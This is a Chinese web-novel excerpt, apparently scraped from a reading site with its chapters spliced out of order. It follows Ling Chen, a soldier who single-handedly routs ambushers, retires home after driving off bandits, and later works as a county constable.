虽然不清楚这帮从草林里窜出来的黑影是什么目的、有多少人,但都干到亲卫营了,大家也都不是吓大的!亲卫骑兵并没有慌乱,他们冷静的卸下后背的弓,搭上箭就朝着黑处射,等到凶徒逼近了,又果断丢了弓,举起马朔就往他们头上招呼!  一套行云流水的操作,堪称专业!  凌晨守在马车旁,自然不用他亲手提刀砍人,他躲在混乱的人群中仔细观察了一会,发现这帮人身上并没有甲胄,但却有弓箭和刀刃,既不是装备精良的唐军,也不像一穷二白的暴民。  那就只有一种可能了——仇家。  凌晨对文训的人际关系并不了解,也没有探索的兴趣,但能做到大周南方集团军总司令,想来一路上估计也没少结仇家,眼红的小人也从来不会缺。这帮人能埋伏在他们回去的道路上,并且能精确的知道时间和地点,背后怕是多少有点政治斗争的影子。  老文不容易啊!快五十的人了,还有各种各样热心肠的人这么着急的想送他一程。  对方明显人多,而亲卫营的装备比他们好,双方又眼看着都是不达目的不罢休的人,那就耗呗~看谁先虚!!  刀剑刺破皮肤,血水飞溅一地,惨叫声和怒骂声不绝于耳,亲卫们护送着凌晨和文训一路奋力向前砍杀,但人却越来越少,边战边撤到一处乡野残村时,只剩下七八个人。  马车早就被贼人给毁坏了,凌晨扶着醉醺醺的文训躲进一间破院里。这户人家以前应该是个大地主,房子修在一处高坡上,四周的墙壁虽然是土垒的,但靠人力一时半会也推不倒。  亲卫们搬来断木土块,推着石碾子,把它们统统堆到门前挡住。墙高爬不上去,贼人们就不顾一切的从门口往里面冲,却被亲卫们齐齐用马朔迎头劝退,他们的人数优势施展不开,场面一时间僵住了。  “去找柴火和稻草,丢进去烧死他们!!”  听到外面传来的凶狠叫喊,亲卫们面色凝重,个个都露出不安的神色。他们倒不怕死,可节度使大人还在这呢,他不能出事啊!  于是,他们齐齐看向了凌晨:“将军,怎么办?”  当小领导就这点不好,大家拿不出主意的时候,就都来找你了。  凌晨将胳膊曲起,擦了一把泛着寒光的刀面后,对这群投来希冀目光的手下们说道:  “本来,我的职责是贴身保护大人,砍人这种事不该我去。不过既然已经被逼到这步田地了,我也不能再端着。你们守好大门,一定要护好大人,我出去剁了他们就回来。”  听到凌晨如此说,面前这几个亲卫顿时大惊失色!我们是让你想想办法,不是让你去送人头啊!  当下就有一个浑身是血的亲卫壮着胆子出言劝阻道:“将军,贼人数量众多,势头正盛,依小人之见,不如暂避锋芒,多垒砖石固守,以待……”  “你说什么?我避他锋芒?”凌晨轻蔑的打断了这名亲卫的劝阻,脸上冷笑连连。  如果是白天,他还真不好操作。可现在四周黑灯瞎火的,外面那群逼也因为怕被人看到亮光,连火把都没有点。这种连演都不需要演的爽局,得连跪多少次才能遇到一把啊!  “看好了,我只教一次。”  说罢,凌晨便不分由说的扯过一个亲卫,将他拉到墙边按倒,踩着他的肩膀就毫无高手风范的抓住墙边,费力的爬上去,翻滚着跌出墙外。  剩下亲卫们面面相觑……  下一刻,从外面传来了凄厉的惨叫。  请收藏本站:。笔趣阁手机版: 第2章 离亭 林暗草惊风,将军夜引弓。  几个亲卫立在破院门口,握着长刀马朔,十分紧张的绷紧脸色,听着外面传来的激烈喊杀声,备受煎熬。  尽管在心里认定凌晨一个人不可能是外面几十个人的对手,但他们还是不由自主的生出一股希冀——  万一呢?  “嘀嗒~~”  一阵冰凉感从鼻尖传来,亲卫们不约而同的抬头向天上看去,阴云密布、伸手不见五指,周围密密麻麻的响起了雨点砸地的声音,空气中飘浮着一股尘土和水汽的味道,要下雨了。  太好了,天佑大人!如此一来,就不用怕这帮贼人用火焚烧院内了。  外面的喊杀声越来越小,渐渐稀疏下来,直到再也没有一丝声音传入耳中。  静。  太安静了,安静的让人心生恐惧。  “怎么没声了?”  “将军……还活着吗??”  几人惊疑不定,却又不敢贸然出去查看,踌躇许久,终于有一人下定决心、咬牙说道:“你们保护好大人,我出去看看。”  说罢,他便抬脚来到门头下,扶着墙壁、踩着崎岖不平的石碾和断木,以及那些贼人的尸体,小心翼翼的眯起眼睛看向门外。  “轰隆——”  天地间猛然一亮,一道电光将漆黑的大地照的如同白昼,借着这一刹那的清明,他看到了一幅毕生难忘的画面——  如针般的雨点密集落下,门前的斜坡横七竖八的躺着成堆的尸体,刀枪弓箭散落一地。场上只站着一个活人,他看起来有些疲惫,手里提着刀,仰面望向天空,任由雨水冲刷在自己的身上,似乎在享受着这种洗礼。  “这……这……”  门内的亲卫们不明所以,只看到他扶着门框抖起了身子,不由的急躁起来——  “怎么了?”  “将军被杀了吗?”  “你倒是说话啊!”  他猛的回过头来,既兴奋又震惊,声音微颤的对袍泽们大喊道:“将……将军……把贼人全杀光了!!!”  什么?!!  听到这话,其他人自然是不信的,纷纷将信将疑的握着武器挤出门察看。这怎么可能?一个人再怎么武艺高强,也不可能……  卧槽!  真死光了?!!  ——  回营的路上,这几个久经战阵、见惯了沙场横尸的亲卫们没有一个人敢和凌晨说话。尽管他们心中有着无数的疑惑和不解,但一想起刚才的场面,就不由的后背发凉,一股寒意直冲天灵盖,实在无法鼓起勇气开口。  这就是节度使大人看重他的原因么?  其实他们一开始并没有多么尊敬凌晨,只当他是运气好,刚好救了陷于险地的上官,所以才飞黄腾达骑在他们头上。但现在亲身经历、亲眼所见后,他们才算是彻底服气了。  回到军营里,把还在说胡话的文训亲手交到他儿子手里后,凌晨就拖着疲惫的身躯回到自己的营帐里,脱了衣甲呼呼大睡。  他太累了,尽管在黑夜里隐身杀人很爽,但那也是需要费力气的,还得躲着点有些家伙的发疯劈砍。无伤刷掉那群贼人,耗尽了他的精气神,雨天野外作业就算了,还他娘的是夜班!  该休息了。  这一觉凌晨睡的很香甜,也没什么人来打扰他,等他被尿憋醒时,帐篷顶已经透亮了,看着好像已经中午了。  他揉着眼睛起身,习惯性的踩着青柠做的布鞋下了床,走到帐篷边上解开腰带,拉起垂襟就开闸放水。  呼~~这种一泻千里的感觉真痛快!  解完手后,心满意足的凌晨提起裤子,哼着小调转过身来,紧接着肩膀一颤,吓得差点腿软。  帐前的门帘被挤成一条布绳歪在中间,两侧挤满了睁大眼睛的脑袋,平日里一起当值的同袍们齐刷刷的盯着自己,那眼神……直勾勾、火辣辣的!  不是……校尉大人怎么也混在里面??  凌晨不由的菊花一紧,心中发虚的问道:“你们干嘛?”  呃……  亲卫营的最高统帅、校尉何关直起身子,拍着其他人的脑袋把他们赶走后,搓着手呵呵笑着,有些拘束的走了进来。凌晨见他这个样子,心中十分纠结,这家伙不会有龙阳之好吧?如果他非要,自己给还是不给?  “昨晚睡的如何?”  “劳将军挂怀,睡的挺香,哎?今天不是我当值吧?将军怎么亲自来……”  何关伸出粗壮的手掌打断了凌晨的话:“哎~~从今往后,你不用再去当值了,除非大人有令,其他时间你就在营里歇着,需要什么尽管告知为兄,我叫那帮兔崽子去给你办!”  完了,这孙子不会真要潜规则老子吧!  “这怎么行……”  “如何使不得?老弟你两次救主,昨夜之事更是在营中传开了!说来惭愧,起初为兄还不信,以为是那几个兔崽子吓傻了胡诌的。直到少将军令我亲自去现场察看,方知兄弟武艺绝伦、高深莫测。我虚长你几岁,拖大喊你一声老弟,你不会介意吧?”  啊这……  “岂敢岂敢,将军肯屈尊降贵,属下受宠若惊。”凌晨连忙谦虚的说道。  “嗯?”何关眉头一挑。  “大哥在上,请受小弟一拜!”  “哎哎哎!使不得使不得!哈哈哈哈~~”  何关连忙扶住准备抱拳行礼的凌晨,开玩笑!今天早上少将军和节度使大人商议着要给凌晨升帐前行走的事还没传开,他就是趁着现在赶紧来结交,打个时间差。这小子现今只比自己低一级,更何况,他的功劳和能力有目共睹,以后怕是会飞得更高……  能跟顶头上司称兄道弟,凌晨也是十分情愿的,虽然他不打算在军营里长干,但打好关系自己也乐得自在不是?  不过,最快拉近关系的办法,还得是求人办事,而且是对对方来说轻而易举的事。  “既然如此,小弟也确实有件琐事想要麻烦兄长,只是怕兄长军务繁忙……”  何关听了大手一挥,满不在乎的说道:“生分了嗷~尽管说来!”  凌晨脸色认真的说道:“小弟的岳丈和妻兄一年前以平民身份被征入伍,出自颍川府望云镇,拙荆姓刘,小名青柠。唉!她在家日思夜想,祈盼着父兄的消息。大哥久居军中,位高脉广,不知可否托人替小弟打探一番他们的下落?”  何关听后微微皱眉:“颍川府……”  凌晨在一旁看着他的脸小心翼翼的说道:“若是不方便,也不…”  “不是,兄弟你误会了。”何关抬起头,对凌晨一本正经的说道:  “若是在我江淮军中,将他们调来不过就是一顿酒的事。但颍川府征来的平民,未必都会发来这里,也有可能发往关中和晋阳,甚至……被调往燕云也不是没有可能。”  听完何关的话后,凌晨不禁皱起了眉头,如果真是这样的话,那他实在无能为力了。  何关似乎是看出来凌晨的忧虑,话锋一转,拍着凌晨的肩膀说道:“不过你也不必担忧,为兄先遣人去营中打听,若是他们在我们这儿,一定第一时间调来亲卫营。老弟你如今正被大人倚重,这种小事自然好说。”  何关的话让凌晨又燃起一丝希望,他言辞恳切的抱拳行礼道:“那就拜托大哥了!”  “嗯。”  老文这人有点让人捉摸不透,自从凌晨把他送回来后,就再也没有见过他,反倒是他儿子文若期间提着酒肉亲自来凌晨的帐篷里看望过几次,态度很热情,跟上一次完全不一样。  上一次他应该是发自内心的感谢,不过也就点到为止了。但这一次,这小子恨不得不顾身份的和凌晨结拜,得亏凌晨脑袋清醒才制止了他荒唐的行为。他还强行霸占了凌晨的床,把他挤进里面,二人同榻而眠。  凌晨十分嫌弃,但又无可奈何。  不过在和这位军二代的朝夕相处中,凌晨也通过交谈了解到了很多无法从底层知道的事情。  大周所处的时期,在唐朝灭亡之后。  自从万国来朝的大唐灭亡之后,天下陷入了分崩离析的百年战乱之中。在经历了无数次的血腥洗牌后,盘踞在晋阳和河北两地的大周太祖励精图治、奋发向上,最终横扫群雄,一统中原!北方暂时迎来了久违的安宁。但时局并非已经安定,江南地区还有以先唐正统自居的唐国、凭借天险固守东西两川的蜀国、经略朔方和河西走廊的夏国、以及荆南和岭南那些称臣不觐的地方势力。  除此之外,北方还有一团笼罩在中原上空、挥之不散的乌云——游牧民族。  而新的强敌也在悄然崛起,雪域高原上展翅高飞的雄鹰,正在用犀利的目光紧盯着温暖富庶的土地;东海一望无垠的波涛之上,绣着淡雅菊花的旗帜下面,是列满武士刀和藤牌的野心。  战火还在熊熊燃烧。  但这一切都跟凌晨没有关系,他自己有几斤几两还是能掂量清楚的。而且这场被迫加入的战争已经进入尾声了,唐军跨过长江气势汹汹而来,却没能有战略性的建树,只好退回江东去了。  江淮军作为野战部队,战事结束后不会停留在边境,而是要回到原本的驻地。就在大军拔营而起准备北还时,凌晨终于再次见到了消失很久的文训。  这段日子里,何关派手下遍访江淮军营,并没有找到青柠的爹和哥哥,既然如此,凌晨也就没有继续待下去的必要了,于是他果断开口,向文训请辞。  文训听完后很意外,文若更是面露讶然之色。  “你应当知晓,你数次护卫有功,更兼心性纯良、身世清白,老夫是极为看重你的。眼下四海未靖,留在军中必定大有作为。老夫虽非天官,但向朝廷举荐、擢你为军将还是可以的。只要稍加雕琢,为国效力,他日莫说封妻荫子,就是名流丹青,也并非没有可能。”  面对文训苦口婆心的挽留,凌晨却是心意已决。  打打杀杀不是他擅长的事情,指挥作战那就更别说了!这他娘又不是战棋游戏,一个哆嗦,就是成千上万具骸骨横尸荒野,他这种心软的人可遭不住人家的妻子父母来找他讨要丈夫和儿子。  “小人本来只是一介流民,幸赖大人垂青,恩重荷深,这才能摆脱贱籍跟随身边效力,每每想起便觉不安,深感无以为报。但也自知才疏学浅,能力浅薄,生怕辜负大人厚望。更放不下儿女情长,拙荆还在家中一人苦守,每每思之,魂不守舍。长此以往必酿祸患,所以只好斗胆辞别,还望大人垂怜应允。”  听到凌晨这么说,文训明白他这是去意已决了,于是紧皱浓眉,捋着胡须沉思良久后,不由得叹了一口气:“罢了,人各有志,老夫也不强求于你。只是可惜了你这一身的好武艺,不能为国所用,真是憾事一桩。”  紧接着,他话锋一转,对着文若说道:“为父还有要紧事,你替我送他一程。”  说罢,他就坐上马车,在何关和一众亲卫营的围绕下离营而去。  凌晨望着文训的马车渐行渐远,目光复杂。  大领导这么看重自己,自己却只想着混吃等死、老婆孩子热炕头,多少是有点不识好歹在里面的。可他就这么懒散的一个人,如果不能从心,就是当上江淮节度使,他也不会开心。  下一刻,似乎是看穿了他的心思,立在一旁文若抬起胳膊,将手搭在了凌晨的肩上:  “没事,你有自己的目标和想法,这没什么好郁结的。其实我有时候也想干点别的,但我不像你,我是文家的长子,生来就是要接替父亲的位子,没得选。”  凌晨不禁露出嫌弃的表情来,这段时间的相处下来,他和文若早已熟络了:“你是不是有什么毛病?你要不要听听看你在说什么?”  文若讪讪一笑,脸上竟然浮现出一丝无奈来:“没和你开玩笑,莫说旁人,你不就不愿意待在军中么?”  “……”  好吧,自己还真说不过他。  摇了摇头后,文若招呼着凌晨坐下,命手下军士搬来桌子,摆好酒菜,二人对坐于静谧林间。  远处,是嘈杂忙乱、班师回朝的大军。  请收藏本站:。笔趣阁手机版: 第1章 世上还是好人多啊 斟满酒后,文若非常儒雅的端起铜制酒杯,双手举着向凌晨说道:  “不管怎么说,你两次救了父亲的性命,汝南文家欠你一个人情。往后如果有事,可以随时来找我,我一定尽全力帮你办。”  说罢,他便举起酒杯一饮而尽。  凌晨笑了一下,也端起手中的酒杯喝了下去,才刚放下,文若又拿起酒壶给他斟满。  “我虽然不敢说见过天下英雄,但自诩还是有点见识的,你能不能告诉我,你是怎么做到一个人杀了四十七个贼人还毫发无伤的?”  凌晨闻言一愣,这我特么怎么跟你解释?  “不过是趁着夜黑风高偷袭罢了,浑水摸鱼的下三滥手段,上不得台面。跟你那种光明正大的战阵厮杀没法比。”  文若脸色认真的摇着头说道:“战场之上,没有‘光明正大’之说,活着才是王道。无论用了什么方法,赢就是赢,输就是输。”  听了这话,凌晨不禁对眼前这小子有些刮目相看了。这货贵族出身却平易近人。读的书多,杀的人也多。做人讲究,做事却不死板,还能有这么务实的思想认识,假以时日,前途不可限量啊!  “你回乡后作何打算?”文若用筷子捞起一根青菜丢进嘴里,边嚼边问。  凌晨抿了一口杯中的酒,端着杯子思忖着回答道:“还没想好,不过眼下也有点积蓄了,我准备先把家里的房子翻修一下,再买点鸡鸭鹅狗之类的养养,嗯……目前就这些,其他的回去了再看吧。”  文若愣住了:“就……就这?”  “不然呢?”  文若突然贼希希的朝着四周望了望,脑袋凑到凌晨面前,悄声说道:“弟妹一定是倾城容貌吧?竟能让你甘心放弃大好前程回家守着她,真是伉俪情深,叫我好生羡慕。”  “屁,她长的黑黑瘦瘦……哎,去去去!你没媳妇啊?打听我媳妇干什么?!”  “哈哈哈哈~”  愉快的吃完散伙饭后,文若和凌晨各自骑上一匹马,立在了大军行走的道路旁边。  “行了,就送到这吧。”  “嗯!千里送君,终须一别。你我同袍之谊、救命之恩,自当谨记于心。这一百两金锭是父亲嘱托我一定要送到你手上的,聊表寸心,莫要嫌少。”  凌晨望着军士端过来的一盘金子,笑着对文若说道:“这么重你想累死我啊?我拿两锭就行了,剩下的你留着自己用,别告诉大人就行了。”  文若一听就急了,连忙说道:“这如何使得……”  “哎哎哎,”凌晨霸气的挥手打断他:“你就听我的吧!心意我领了,回去后记得告诉大人,凌晨永远不会忘记他的提携之恩。”  说罢,他在马上郑重的朝着文若抱拳行礼,尔后调转马头,朝着西北方向纵马驰奔而去。  文若却没有立刻走掉,而是留在原地望着凌晨的背影,怔怔出神。  一旁的长随见凌晨已经走远了,忍不住打马上前,小声提醒道:“公子……”  文若回过神来,看向少了两块的金锭盘子,喃喃道:“财帛不能动其心,厚恩不能改其行。不忘糟糠之妻,谨记来时之路,武艺高强、性情率真。这样的人不能为我所用,真是令人生憾……”  长随听罢后,试探着说道:“既然老爷和公子俱有此意,只需将其妻室邀至府中,令她陪伴夫人左右,不愁他……”  “不可!”  长随的话还没说完,文若就用十分严厉的语气打断了他的建议,一改刚才的儒雅随和,身边的长随瞬间感觉到一阵冷冽的劲风朝着自己吹来!  “小人多嘴!”  文若盯着他看了半天后,这才放缓了声调说道:“我若馨香,蜂蝶自会聚来。只可以诚待之致其归心,万万不可耍使手段。你别忘了,他可是独自一人杀了几十号人的!我们现在和他是朋友,往后即使陌路殊途,总还有一份情谊在。若真按你说的做了,怕是家里该添护院了。”  “还是公子思虑周全。”  ——  燕尔别,犹记鬓边约。慢摇缫车,忽闻柴门传人语,出看无,缘是心中结。步过渔蓬,停驻孤桥望日斜。踏征靴,长刀总饮血。奋舞金戈,临江饮马靖塞边,狼烟散,转向恩府别。归心似箭,一夜飞度关山月。  寿春府到颍川府的距离不是很远,不用推先锋营里那些该死的破车后,骑马还是很快的。就是两个大腿内侧受尽了苦头,还得防着鸡飞蛋打,大周后勤组织部做出来的马鞍实在是一言难尽。  虽然舟车劳顿躲不过,但凌晨的心情是十分舒畅的,他终于拿到了大周绿卡!如今也是有名分的牛马了,还攒了点小钱,他已经能想象到自己把一包袱的金银丢出来后,青柠那吃惊的小表情了  哎?前面怎么了?  “吁~~”  凌晨扯着缰绳将马儿勒住,望着眼前的场景,露出一副呆萌的表情。  官道中间被人横着丢了一截粗壮的断木,两边的树林里走出来五六个提着斧子和柴刀的人。  这帮人虎背熊腰,就穿着件单薄褂子,有的甚至直接光着膀子,个个肌肉发达,面目狰狞、胡须倒竖、胸毛浓密。  听到身后传来声响,凌晨扭头望去,身后也不知什么时候多出了三个手提刀斧的汉子。  有点意思……  凌晨心下了然,面上淡淡一笑,看向站在最前方的那名高大汉子:“几位这是何意?”  那汉子脑袋很长,脖子粗壮,身上就套着一件有点发脏的白麻褂子,浑身的皮肤棕黑,胳膊上的肌肉很明显,腹部微微凸出,脚踩草鞋,手提利斧,表情十分凶狠。  “呦~这小白脸有点意思啊~旁人见了咱们弟兄,不是哆哆嗦嗦跪下来求活,就是跟没头苍蝇一样乱窜,他还敢张口问!”  “哈哈哈哈~”  周围的汉子们都哈哈大笑了起来。  凌晨笑着吸了一口气后,语气平静的问道:“行了,说吧,想干什么?”  高大汉子抡了抡手中的斧子,贪婪的打量着凌晨背上的包裹和胯下的骏马:“看你的样子,应该也是个见过世面的,那就利索点别让我们弟兄费事。东西都留下,马也留下,乖乖磕三个响头,老子就让你滚!”  他话说完,还不等凌晨开口,一旁的其他汉子就都叽叽喳喳的齐齐嚷了起来——  “快点!听到没?”  “把银钱都拿出来!”  “还不滚下来?!若是惹的爷爷性起……”  “怎样?”  凌晨抬起下巴看向旁边那个放狠话的汉子,饶有兴趣的问道:“惹的你性起了会怎样?”  那汉子见凌晨全然不惧,顿时有些心里没底,茫然的看向自己的老大。  领头的高大汉子见状,知道凌晨是不打算乖乖听话了,于是冷笑一声,举起双臂一挥,其他人纷纷朝着凌晨围拢了过来。  马上的凌晨慵懒的伸了个懒腰,翻身下马,对着那高大汉子诡异一笑,突然就撒开腿跑进了道路一旁的灌木丛里去了。  “追!!”  到嘴的鸭子还能让他飞了?这帮劫匪们急忙提着武器,嗷嗷叫着冲进了满是灌木的树林里,顿时惊起一片林中鸟。  “啊!!”  “呃!!”  “老三,你他娘人呢?你……啊!!”  凌晨压根就没拿马背上的刀,直接在林子里找了块板砖大小的不规则石块,隐身藏在树干后面,瞅着机会,给这帮傻愣愣的山贼挨个来了一套头骨硬度等级测试,轻轻敲醒了他们沉睡的心灵。  你别说,这种“梆梆梆”的感觉还真让人上头哎!  那高大汉子并没有一起追来,而是提着斧头走到凌晨丢下的马儿旁,准备察看一下包裹里都有什么。  他根本不担心凌晨能从他的手下围堵中逃脱,他们全都是附近村庄的人,对这一带熟的不能再熟了,这要是还能让一个外地人跑了,那他们基本可以转行了。  嘶……这是……  汉子皱着眉从马脖子上取下一柄长刀来,将斧子别到腰间后,双手握住,将刀抽了出来。  光滑透亮的刀面闪烁着冰冷的寒光,刀刃平整锋利,刀背宽厚,足有一指,还有血槽。握把被某种动物的皮整齐牢固的编织包裹以增加摩擦力,这是精铁打造的!  “哎,你看够没?”身后突然传来一道漫不经心的声音,把汉子吓得肩膀一颤,他抚着心脏的位置刚要转身怒骂,结果对上了凌晨有些不太高兴的脸。  汉子心头又是一惊,瞳孔猛然放大,急忙扭头看向一旁——  怎么回事?他的弟兄们竟然全都昏倒在了地上,整整齐齐的排列在树林边!而且还个个脑袋带血,粘稠的血液将他们的头发都粘成了一团……  汉子有些腿软,他还是有些不太相信,哆哆嗦嗦的看向凌晨的右手,满手都是鲜红的血迹……  这……这……  还没等他理清楚现在是什么情况,该反抗一下还是该跪地求饶,眼前的少年就将脏乎乎的血手搭在了他的褂子上,擦拭着上面的污血。汉子身体僵硬,一动也不敢动,虽然他很想一刀劈过去,但脑海里总有一道声音在警告他——千万别那样做。  “这是江淮节度使的公子送给我的,怎么样,刀还不错吧?”  眼前的少年就这么云淡风轻的跟自己介绍着刀的来历,松弛的就像老友闲谈一般。高大汉子此刻内心后悔的要死,完犊子!踢到铁板了!  等等,江……江淮节度使的公子送的?!  “噗通!”  他毫不犹豫的跪了下来,双手将刀恭恭敬敬的举过头顶,身体和声音齐颤着说道:“小人有眼不识泰山!被猪油蒙了心,一时冲撞了公子,罪该万死!求公子……”  “哎哎哎,”凌晨立刻打断他纠正道:  “我不是什么世家公子,我刚从军中光荣退伍,以前是干百夫长的,就是个芝麻大的小官~”  直娘贼!百夫长?!  完了!!  这人竟然是个百夫长!难怪自己的那帮弟兄跟小鸡一样……哎不对啊!能做到百夫长的哪个不是满脸横肉、身体雄壮、脾气暴躁?他这么……也不对!现在是寻思这些的时候吗?!  自己那帮生死不明的兄弟确确实实就躺在那里,脑袋血刺啦呼的这还能有假?总不能是他们集体和这小子串通好,在跟老子耍笑吧?!  凌晨见他一句话也不说,就低着个头等着正义的铁拳挥下,顿时便没了兴趣,从对方手里拿回自己的刀合进刀鞘后,蹲下来望着高大汉子问道:“身上有钱吗?”  ?  高大汉子茫然的抬起头,有些不明所以,他问这个干什么?  “有……有一些,公……大……将军来之前,小人们还劫了两队过往旅人,不敢隐瞒!”  下一刻,一双肤色白净、掌心却有老茧的手伸到了他的眼前,还曲了两下——  “给钱。”  “啊???”  “啊什么啊!你的那些不义之财和非法所得你还想留着啊?”  土匪头领最终还是选择了乖乖听话,命跟钱,总要给人家留一个。留得青山在,不怕没柴烧。  那年轻人也讲究,拿了钱就心满意足的骑上马走了。只越货,不杀人,也没有跟他说什么以后要安分守己、不要再出来抢劫之类的陈词滥调,是个利索人。  只是有一点土匪头子不太明白,对方说他是什么fBi,哎夫比哎是个什么玩意?听他话里的意思,似乎有点像是捕快之类的……  告别郁闷的土匪头子,重新上路的凌晨心情更好了!凭空多出7两3角野生的银子,自己简直是锦鲤附体啊!  一两金子能换一千两银子,一两银子能换一千枚铜钱。文若送了两锭金子,工资攒了82两,退伍费10两,再加上……  嘶……咱也是摇身一变,成大周暴发户了!  不知道为什么,心里总有一种和青柠见面的期待感,他很好奇青柠看到这么多钱后会作何反应。  当初离开望云镇时,还是初春四月,清寒时节。如今征战归来,已是八月晚旬,山河渐秋。  凌晨立在马上,望着不远处那片土墙茅瓦,老人们放下农具坐在村口静沐暖阳,孩童们围绕着大树追逐嬉戏,一片丰年景象。他突然从心底生出一丝忐忑来。  须臾后,不禁自嘲一笑,怎么还整出近乡情怯了……  请收藏本站:。笔趣阁手机版: 第16章 潜龙在渊 家里就青柠和凌晨俩人,除夕过的一般般,小两口守了一夜的岁,中间有一半的时间是用买来的围棋下五子棋。再过三年半,青柠就十八岁了,到时候凌晨就可以解锁全新的夜生活副本。  哎呀~想想还真是有些期待呢!  “后日上元节,知府大人要来本县视察通曲桥及里阳镇的新建街道,到时候你们可得给本官看好了!闹事斗殴者、酗酒滋事者、骂仗吵嘴者,统统抓起来先关几天!”  县衙大堂里,几十号人整整齐齐的立在原地听冯延训话,凌晨和四个捕头站在侯明身后昏昏欲睡,王臣鹤和一群衙役、皂吏站在更后方听命。  估计知府大人也是觉得好奇,三百两银子也能修成一座合格的桥?我倒要瞧瞧长什么样子。  训话完毕后,凌晨就带着七八个皂吏去训街了,今天他负责县城东郭。  “凌捕头来啦?”  “凌捕头好!”  “凌捕头,这是今早新蒸的羔肉,来尝尝~”  凌晨左手端着个酒碗,右手握着还在冒热气的肉块,吃的满嘴是油,身旁还有个皂吏专门抱着一坛子酒给他倒,一点也不像是巡街的捕头,倒像是游街的恶霸。  王臣鹤跟在身后,别提多难受了。  君子虽处一时逆境,也当屈身守分,以待天时。行事做人,要坦坦荡荡,两袖清风。凌晨虽然对他有大恩,可……可他实在瞧不上对方这种欺市霸街的行为。  “凌捕头,这么多人给你送吃送喝,你能记住他们都是谁吗?”  凌晨将手中的酒碗丢给随行的皂吏后,望着王臣鹤回答道:“记不住。不过谁不给我送,我就记住了。”  “……”  “恕属下直言,知县大人将重任交于捕头,捕头应该认真稽查、调解纠纷、察奸捕盗,实在不应该借着身份收贿索物,吃拿卡要……”  王臣鹤正在侃侃而谈,其他皂吏纷纷用奇怪的眼神望向了他,这特么哪来的奇葩?  要不是因为他是凌捕头亲自带进来的,他们早就开骂了!你特么爱拿拿,不拿滚!巡个街而已,你把自己当知县大人了?怎么还整出一套官场上的大道理来?  凌晨望着正气凛然的王臣鹤,正琢磨该怎么回答他呢,前门后街的徐寡妇就从街边窜出来了,一上来就抓住凌晨的袖子哭喊起来:“哎呀~凌捕头啊!你可得替我做主啊!我家阿青又跑到房顶去了!”  凌晨先是一愣,紧接着看向王臣鹤:“呐,别说我不给你机会啊,你去帮徐大姐找回她家阿青。”  王臣鹤本就不愿与这帮人为伍,于是慨然决定众人皆醉我独醒,独自一人去干正事:“大姐,我帮你去寻你家阿青,孩子现在还在房顶上吗?”  “当然还在呀!哎呀差爷你别问了,快跟我去哄下来,上面多危险呐!”  王臣鹤闻言一愣,你家孩子这么淘气吗?  虽然心里腹诽,但看着徐寡妇焦急万分的样子,王臣鹤还是跟着她一同进入了巷子里。  在满是坑洼的巷子里左拐右转,来到了徐寡妇家里后,王臣鹤顺着她的手指看去,屋子顶上躺着一团雪白的绒球,还正慵懒的晒着太阳,偶尔还打个哈欠。  那是……猫?  一见是只猫,王臣鹤的脸瞬间就拉了下来,这不是拿他寻开心么?我虽微末,却也身系事务,你为了一只猫喊我过来,多少有点大材小用、无事生非了吧?  “徐大姐,给你。抱好了,下次实在不行就给它栓个绳子吧~”  正在王臣鹤准备拂袖离去之际,凌晨已经不知道从什么时候将猫捉住,抱在怀里来到了他们面前。  示意眼中泛起泪花的徐寡妇进屋后,凌晨搂着王臣鹤的肩膀走出院子,往巷子外边走边问道:“刚才我看你脸色不好,是不愿意替她捉猫?”  “凌兄,你若是瞧不上我,大可直说,何故欺我不知戏耍于我?”  听到这话,凌晨停住了脚步,他松开了王臣鹤的肩膀,指着徐寡妇家的门脸色肃然的对他说道:“你知不知道,徐寡妇的丈夫、儿子皆是为国家征战,马革裹尸而死?”“我……我不知道。”  “那只叫阿青的猫是她儿子放假时带回来给她的战利品,不然你以为寻常人家怎么会有雪绒猫?那不是你眼中的畜生,那是她儿子留给她的思念,在她眼里,不比你的妻儿轻贱。”  “……”  凌晨盯着王臣鹤的眼睛,一字一句的说道:“没有察觉出事情的不合理,说明你粗心马虎。没有细问缘由就表现出厌烦,说明不仅眼高于顶、还心浮气躁。连只猫都捉不住,如何敢在《平戎策》里洋洋洒洒,妄说擒龙?”  王臣鹤不禁开口辩解道:“我才刚来,不熟悉……”  “那你看不见她焦急的脸色么?你没长嘴啊?不会开口问?”  “我……”  “读圣贤书,理当为民请命,可民都请到你面前了,你看看你刚才那张死人脸!这要是让你当了知县、知府,是不是百姓家丢头牛都是小事了?”  王臣鹤无言以对,如果真到了那时候,事务繁忙冗杂,丢头牛可能还真得往后放一放……  说教完之后,凌晨拍着他的肩膀,叹着气说道:“你还是没能理解我说的先扫一室,再扫天下。一条街都管不明白,给你一县、一府,那你不炸了吗?”  王臣鹤望着徐寡妇家的大门若有所思,片刻之后,向着凌晨郑重行礼道:“臣鹤知道错了,还请凌兄赐教。”  “你只要牢牢记住一点,百姓的事没有小事,一家舒心,一街安宁。你呀,还差得远呢~”  王臣鹤望着凌晨的背影,仔细回味着自己的行径和对方的话语,陷入了沉思。  从此以后,王臣鹤就不再从内心抵触凌晨他们的行为了,而是跟着观察学习,甚至当一个小贩将炊饼塞进他怀里时,他也没有拒绝,反而是咬了一口,顺道和他攀谈起来。  说来也怪,以前这小贩见到他只是躲闪,生疏的很。可自从自己吃了他的炊饼后,竟也能侃侃而谈,他家有什么人、都在做什么、最近有什么见闻、未来有什么忧虑、有什么期许,都源源不断的进入了王臣鹤的耳朵。  两天街巡下来,王臣鹤获益颇深,尤其是和那些市井小民打成一片后,那种街坊们一见面就跟他打招呼的熟络笑意,是他在上林院和卢龙军营里从来没有体会过的感觉。  正月十五,上元佳节。  王臣鹤跟着凌晨,来到了已经从村升级为镇的里阳,站在桥边等待着迎接颍川知府。  令王臣鹤惊讶的是,这里的每一个人似乎都认识凌晨,上到县衙丞尉,下到贩夫走卒,他都能和人家聊上两句。凌晨又不是知县,再说了,就算是知县,也不能和这么多人相熟交善吧??  王臣鹤看凌晨,顿觉有种井中观月的迷茫。  凌晨他们这种低级小吏是没有资格看到知府大人的,桥头早就被刘文越和府衙来的乡军管制了,只能模糊的看到一个胖子在冯延的陪同下登上桥头观赏四周景色,象征性的指导了一下工作后,就接进水云榭里干饭去了。  但是没一会,张承就带着两个同僚出来了,他们在桥头的牌坊下张贴了一张榜文。  知府大人对全府重点项目的建设十分满意,对临颍县因地制宜、大胆改革、利用交通优势着重发展产业项目、带动全县经济增长的决定做出了肯定的褒奖,并且向全县人民征求有关通曲桥和里阳镇新区建设的文艺作品,前三名可以获得和知府大人共进午餐的资格。  当然,主要是去聆听大人的教诲,你别真吃。  